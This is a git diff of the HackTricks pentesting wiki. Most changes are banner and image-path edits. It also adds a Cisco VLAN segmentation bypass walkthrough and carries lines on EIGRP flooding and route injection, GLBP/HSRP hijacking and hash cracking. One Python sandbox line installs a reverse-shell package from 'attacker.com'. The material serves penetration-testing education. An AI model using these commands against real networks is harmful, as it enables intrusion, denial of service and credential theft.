+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-
-
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index f9ee74211..20a8aeb16 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -265,7 +265,7 @@ Opera **stores browser history and download data in the exact same format as Goo
* **Browser’s built-in anti-phishing:** `grep --color 'fraud_protection_enabled' ~/Library/Application Support/com.operasoftware.Opera/Preferences`
* **fraud\_protection\_enabled** should be **true**
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 13c87af2f..2982fc3d6 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
@@ -111,7 +111,7 @@ Other tables inside this database contain more interesting information:
* **deleted\_fields**: Dropbox deleted files
* **date\_added**
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index cd345e863..31164bdf5 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 5eda26359..60f946006 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -12,7 +12,7 @@
-
+
**Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md
index b3a3e794d..63f38121a 100644
--- a/generic-methodologies-and-resources/brute-force.md
+++ b/generic-methodologies-and-resources/brute-force.md
@@ -1,6 +1,6 @@
# Brute Force - CheatSheet
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -77,7 +77,7 @@ python3 cupp.py -h
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -432,7 +432,7 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
crackmapexec winrm -d -u usernames.txt -p passwords.txt
```
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -601,6 +601,10 @@ gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
+### Cisco
+
+
+
### DPAPI Master Key
Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john
@@ -630,7 +634,7 @@ zip -r file.xls .
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
```
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
@@ -791,7 +795,7 @@ Cracking Common Application Hashes
-![](<../.gitbook/assets/image (9) (1).png>)
+![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md
index 294589c74..c5164ace9 100644
--- a/generic-methodologies-and-resources/pentesting-network/README.md
+++ b/generic-methodologies-and-resources/pentesting-network/README.md
@@ -328,7 +328,7 @@ I would like to point out that **Access/Desirable (0x03)** indicates that the DT
By analyzing the STP frames, **we learn about the existence of VLAN 30 and VLAN 60.**
-
+
#### Attacking specific VLANs
@@ -389,6 +389,14 @@ packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```
+#### Lateral VLAN Segmentation Bypass
+
+If you have **access to a switch that you are directly connected to**, you have the ability to **bypass VLAN segmentation** within the network. Simply **switch the port to trunk mode** (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
+
+{% content-ref url="lateral-vlan-segmentation-bypass.md" %}
+[lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md)
+{% endcontent-ref %}
+
#### Layer 3 Private VLAN Bypass
In guest wireless networks and other environments, private VLAN (also known as _port isolation_) settings are used to **prevent peers from interacting** (i.e., clients **connect to a wireless access point but cannot address one another**). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighbouring peer.
@@ -423,7 +431,7 @@ yersinia -G #For graphic mode
To erase the entire VLAN database, select the **deleting all VTP vlans** option
-
+
### STP Attacks
@@ -485,7 +493,7 @@ sudo yersinia -G
Select the **flooding CDP table** option and start the attack. The switch CPU will be overloaded, as well as the CDP neighbor table, **resulting in “network paralysis”.**
-
+
#### CDP Impersonation Attack
diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
index 2cd5f4908..0c7c1cd6d 100644
--- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
+++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
@@ -18,7 +18,7 @@
**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** **If there is no authentication and configuration of passive interfaces, an intruder can interfere with EIGRP routing and cause routing tables poisoning.** **Moreover, EIGRP network (in other words, autonomous system) is flat and has no segmentation into any zones.** What could this mean for an attacker? Well, if he injects a route, it is likely that this route will spread throughout the autonomous EIGRP system.
-
+
First and foremost, attacking a standalone EIGRP system requires establishing a neighborhood with a legitimate EIGRP router, which opens up a lot of possibilities, from basic reconnaissance to various injections.
@@ -35,7 +35,7 @@ For this I will use [**FRRouting**](https://frrouting.org/). This is an open-sou
eigrpd=yes
```
-
+
After that, you need to correct the **vtysh.conf** file by adding a line responsible for saving the configuration to one file, so that configurations of different protocols are not scattered into different files **(e.g. eigrpd.conf, staticd.conf).** It is configurable optionally.
@@ -51,7 +51,7 @@ The FRRouting configuration is done. Now it’s time to run the FRR daemon. **An
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
-
+
The **vtysh** command will take us to the FRR router control panel.
@@ -65,7 +65,7 @@ Example:
Inguz# show version
```
-
+
> **However, don’t forget that the EIGRP routing domain can be protected by authentication. But you still have a chance to connect to the routing domain. When hello packets are sent out, they also contain cryptographic hashes. If you can extract these hashes from the traffic dump and reset the password, you can log on to the routing domain with this password.**
@@ -84,11 +84,11 @@ After that, the neighborhood between the legitimate EIGRP routers is established
EIGRP Neighborship with GW1 (10.10.100.100):
-
+
EIGRP Neighborship with GW2 (10.10.100.200):
-
+
During the establishment and maintenance of the neighborhood between EIGRP routers, routers exchange their routing information. After the neighborhood is established, new routes will appear in our routing table of the attacking system, namely:
@@ -97,7 +97,7 @@ During the establishment and maintenance of the neighborhood between EIGRP route
* **100.100.100.0/24 via 10.10.100.100;**
* **172.16.100.0/24 via 10.10.100.200**
-
+
Thus, after establishing the neighborhood, we know about the existence of these subnets, which makes it easier for us to pentest and save time. We can do without additional subnet scanning. Now we are in the EIGRP routing domain and we can develop some attack vectors. Let’s talk about them.
@@ -105,7 +105,7 @@ Thus, after establishing the neighborhood, we know about the existence of these
**I have found that generating and quickly sending out mass EIGRP hello packets overloads the router’s CPU, which in turn can open the door to a DoS attack.** I have developed a little [**helloflooding.py**](https://github.com/in9uz/EIGRPWN/blob/main/helloflooding.py) **** script, but it seems to me that the script lacks the speed of sending out the packets. **It’s caused by GIL**, which prevents the **sprayhello** function from running in multiple threads per second. **Eventually I’ll rewrite the script in C.**
-
+
Arguments of the script:
@@ -117,13 +117,13 @@ Arguments of the script:
~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
```
-
+
### EIGRP Blackhole
The essence of this attack is a simple injection of a false route that will poison the routing table. Traffic to, **say, the** `10.10.100.0/24` **network will go nowhere, causing a denial of service. Such an attack is called a Blackhole.** The script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) **** will be the tool used to perform it. For this example, I will send traffic destined for host `172.16.100.140/32` to the black hole.
-
+
Arguments of the script:
@@ -137,11 +137,11 @@ Arguments of the script:
~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
```
-
+
**Our host seems to be in trouble :)**
-
+
As you can see, the host loses connectivity to host **172.16.100.140/32** due to route injection.
@@ -149,7 +149,7 @@ As you can see, the host loses connectivity to host **172.16.100.140/32** due to
To establish EIGRP neighbors, **routers use special K-values.** They must be the same among all EIGRP neighbors. If at least one K-value does not match, the EIGRP domain will crash and the neighborhood will be broken. We will use [**relationshipnightmare.py**](https://github.com/in9uz/EIGRPWN/blob/main/relationshipnightmare.py) **** to perform this attack**.**
-
+
Script arguments:
@@ -163,9 +163,9 @@ Script arguments:
~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
```
-
+
-
+
**A DoS attack can be carried out in this way. During operation, endless breakups and neighborhood attempts occur, paralyzing part of the EIGRP routing domain.**
@@ -173,7 +173,7 @@ Script arguments:
The essence of this attack is to provoke the sending of a huge number of false routes, which will overflow the routing table. This depletes the computing resources of the router, namely the CPU and RAM, since the injections occur at enormous speed. This attack is implemented [**routingtableoverflow.py**](https://github.com/in9uz/EIGRPWN/blob/main/routingtableoverflow.py) **script**
-
+
Script arguments
@@ -187,9 +187,9 @@ in9uz@Inguz:~$ sudo python3 routingtableoverflow.py --interface eth0 --as 1 --sr
After running the script, the routing table starts overflowing with routes. The random addresses of the target networks are due to the use of **RandIP()** in [**Scapy**](https://github.com/secdev/scapy).
-
+
-
+
diff --git a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
index 1f27baacf..b3f5f3cf4 100644
--- a/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
+++ b/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
@@ -56,9 +56,9 @@ GLBP uses the reserved group mailing IP address **224.0.0.102** and the UDP tran
The technique of this network attack is to impose your device as the main router **by injecting a malicious GLBP packet with a maximum priority value.** **Successful exploitation leads to a DoS or MITM attack in which you can intercept traffic within the network, conduct a redirect, or cause a DoS as you take over the role of AVG router.** All you have to do is build a GLBP packet with the highest priority value of 255 and direct it towards the local network.
-
+
-
+
### GLBP Injection (Loki)
@@ -72,9 +72,9 @@ We will be able to extract this information by analyzing GLBP traffic. We will u
As we see, only two routers are involved in the GLBP process: **10.10.100.100 and 10.10.100.200.**
-
+
-
+
@@ -86,7 +86,7 @@ After analyzing GLBP traffic we have the following:
With this information, **we can easily attack GLBP.**
-
+
Before the attack, **switch to promiscious mode and allow traffic routing:**
@@ -97,9 +97,9 @@ Before the attack, **switch to promiscious mode and allow traffic routing:**
Select the router at IP address **10.10.100.100** and activate the **Get IP** option. You also need to generate a **Gratuitous ARP.**
-
+
-
+
As you can see, the AVG router is now pretending to be an attacking system. **The priority value is 255, the weight value is 255, i.e. the maximum.**
@@ -136,7 +136,7 @@ After running the utility, I will try to read the SMB share with the IP address
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
```
-
+
**This is how you can intercept traffic within the network by attacking GLBP domains.**
@@ -174,11 +174,11 @@ We can extract this information by analyzing HSRP traffic. **Let’s use Wiresha
As you can see in the screenshot, the HSRP process involves only two routers with addresses 10.10.100.100 and 10.10.100.200
-
+
-
+
-
+
Based on the analysis of HSRP traffic, we have the following:
@@ -196,7 +196,7 @@ Save HSRP traffic dump in **.pcap** format, so that the exfiltrator can correctl
~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
```
-
+
I will crack the hashes with **John the Ripper,** specify the hashes themselves as input. And with the — **wordlist** switch I will specify the path to the dictionary:
@@ -204,7 +204,7 @@ I will crack the hashes with **John the Ripper,** specify the hashes themselves
~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
```
-
+
As a result, we have a key to enter the HSRP domain — **endgame**.
@@ -214,7 +214,7 @@ I will use the same Loki to attack the HSRP protocol. Among other things, it has
Starting Loki.
-
+
Don’t forget to switch to promiscuous mode and allow traffic routing before conducting the attack:
@@ -225,9 +225,9 @@ Don’t forget to switch to promiscuous mode and allow traffic routing before co
Select the router with an address of **10.10.100.100** and a priority of **200**. As the **Secret** parameter, **enter the cracked password** from the HSRP domain, generate a Gratuitous ARP and select the **Get IP** option.
-
+
-
+
**As we can see, the Active router is now our attacking system. The priority value is 255.**
@@ -262,7 +262,7 @@ After running the utility, I will reproduce an attempt to authenticate to the FT
~$ ftp 172.16.100.140
```
-
+
As a result, we get creeds from the FTP server: **insomnia:betrayal**
diff --git a/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
new file mode 100644
index 000000000..1a51b1116
--- /dev/null
+++ b/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md
@@ -0,0 +1,97 @@
+# Lateral VLAN Segmentation Bypass
+
+
+
+Support HackTricks and get benefits!
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+
+
+
+**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)****
+
+If you have access to a switch that you are directly connected to, you have the ability to bypass VLAN segmentation within the network. Simply switch the port to trunk mode (otherwise known as trunk), create virtual interfaces with the IDs of the target VLANs, and configure an IP address. You can try requesting the address dynamically (DHCP) or you can configure it statically. It depends on the case.
+
+First you need to find out exactly which port you are connected to. This is done via CDP messages, or you can search the port by mask **include**.
+
+
+
+**If the CDP is suddenly disabled, you can try searching the port by our MAC address.**
+
+```
+SW1(config)# show mac address-table | include 0050.0000.0500
+```
+
+
+
+Before we switch to trunk mode, we need to list the existing VLANs and find out their identifiers. Then we will hang these identifiers on our interface to access VLANs. Thus, thanks to the trunk we can access any VLAN. By the way, the port we are connected to belongs to VLAN 10.
+
+```
+SW1# show vlan brief
+```
+
+
+
+**Here we go. Enter interface configuration mode and go into trunk mode.**
+
+```
+SW1(config)# interface GigabitEthernet 0/2
+SW1(config-if)# switchport trunk encapsulation dot1q
+SW1(config-if)# switchport mode trunk
+```
+
+During the switch to trunk mode, connectivity is lost. But I will fix that.
+
+
+
+Create virtual interfaces and “hang” VLAN ID on them, and then raise them.
+
+```
+~$ sudo vconfig add eth0 10
+~$ sudo vconfig add eth0 20
+~$ sudo vconfig add eth0 50
+~$ sudo vconfig add eth0 60
+~$ sudo ifconfig eth0.10 up
+~$ sudo ifconfig eth0.20 up
+~$ sudo ifconfig eth0.50 up
+~$ sudo ifconfig eth0.60 up
+```
+
+Now you need to request an address via DHCP. But if in your case this is not possible, you can set the address statically.
+
+```
+~$ sudo dhclient -v eth0.10
+~$ sudo dhclient -v eth0.20
+~$ sudo dhclient -v eth0.50
+~$ sudo dhclient -v eth0.60
+```
+
+
+
+Example of configuring a static IP address on an interface (VLAN 10):
+
+```
+~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
+```
+
+To test the connection, I initiate ICMP requests to the default gateways **for VLANs 10, 20, 50, 60**
+
+
+
+In the end, **I bypassed VLAN** segmentation and can get into any VLAN network, which unties my hands for the next steps
+
+
+
+Support HackTricks and get benefits!
+
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+
+
diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md
index 660c0f087..39b52066e 100644
--- a/generic-methodologies-and-resources/python/README.md
+++ b/generic-methodologies-and-resources/python/README.md
@@ -1,28 +1,22 @@
# Python Sandbox Escape & Pyscript
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -38,24 +32,18 @@ Get Access Today:
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
-{% hint style="danger" %}
-![](<../../.gitbook/assets/image (9) (1).png>)
+![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
index ec58a1044..27bb05d39 100644
--- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
+++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md
@@ -1,28 +1,22 @@
# Bypass Python sandboxes
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
-- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-
-- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-
-- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
+* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
@@ -111,7 +105,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
-{% file src="../../../.gitbook/assets/Reverse.tar.gz" %}
+{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %}
This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
@@ -321,15 +315,13 @@ with (a as b):
pass
```
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Builtins
@@ -709,15 +701,13 @@ You can check the output of this script on this page:
[output-searching-python-internals.md](output-searching-python-internals.md)
{% endcontent-ref %}
-{% hint style="danger" %}
-![](<../../../.gitbook/assets/image (9) (1).png>)
+![](<../../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-{% endhint %}
## Python Format String
@@ -1105,24 +1095,18 @@ will be bypassed
Support HackTricks and get benefits!
-- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-
-- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-
